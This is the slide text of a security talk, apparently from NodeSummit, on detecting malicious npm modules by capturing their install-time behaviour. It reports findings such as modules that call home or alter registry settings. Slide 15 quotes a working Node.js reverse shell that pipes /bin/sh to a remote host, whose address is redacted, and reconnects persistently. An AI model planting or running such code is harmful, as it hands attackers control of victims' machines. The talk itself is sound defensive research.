Hunting for malicious modules in npm - NodeSummit
•
1 like•391 views
Ever since the threat of an npm worm became public we've been thinking about how to detect malicious modules in our ecosystem and how to provide security teams auditing modules with tooling and intel to make informed decisions about module risk. We've built a system to analyze modules based on their installation behavior. This talk will discuss the results of this endeavor and share the interesting findings from this new and previously unexplored dataset and try to answer the question if a npm worm is lurking in the shadows.
Recommended
More Related Content
What's hot
What's hot (20)
Similar to Hunting for malicious modules in npm - NodeSummit
Similar to Hunting for malicious modules in npm - NodeSummit (20)
More from Adam Baldwin
More from Adam Baldwin (14)
Recently uploaded
Recently uploaded (20)
Hunting for malicious modules in npm - NodeSummit
- 6. WHY SHOULD WE HUNT?
- 7. 🕯 Hey, I can publish malicious code to npm
- 9. 🔥 install scripts are BAD!
- 11. rimrafall
- 12. npm hydra worm
- 13. WHAT ARE WE HUNTING?
- 15. var net = require('net'); var daemon = require('daemon'); var spawn = require('child_process').spawn; function c() { var client = new net.Socket(); client.connect(443, "REDACTED", function() { var sh = spawn('/bin/sh', []); client.write("Connectedrn"); client.pipe(sh.stdin); sh.stdout.pipe(client); }); client.on('error', function() {}); client.on('close', function() { setTimeout(c, 5000); }); } require('daemon')(); c(); 😈 Example
- 16. client.connect(443, "REDACTED", function() { var sh = spawn('/bin/sh', []);
- 17. WHERE ARE WE HUNTING?
- 19. 507,573 modules
- 22. 21,756 modules with install scripts
- 23. HOW AM I HUNTING?
- 24. MIRROR REGISTRY
- 26. npm install module syscall capture DB
- 27. npm publish GCS PubSubInstrumentation npm i raw data 🎉
- 29. 2.1 TB OF DATA 😲
- 31. DNS REQUESTS 339 unique lookups
- 32. DESTINATION HOSTS 1080 unique hosts
- 33. RESULTS 😈
- 34. 144+ modules that download build components over HTTP Insecure Behavior
- 36. Modules that called home et_phone_home anarchy harmlesspackage botbait
- 37. Modules that change registry settings
- 38. 😇 ? 😈
- 39. 😢 / 😀
- 40. WHAT DID I LEARN? How can we improve the future
- 41. People will publish malicious things to the registry
- 42. Your security habits have a lot to do with if this gets exploited or not
- 43. -Have good passwords -Don't publish credentials -Limit the # of publishers
- 44. But what about ? Can't they do something?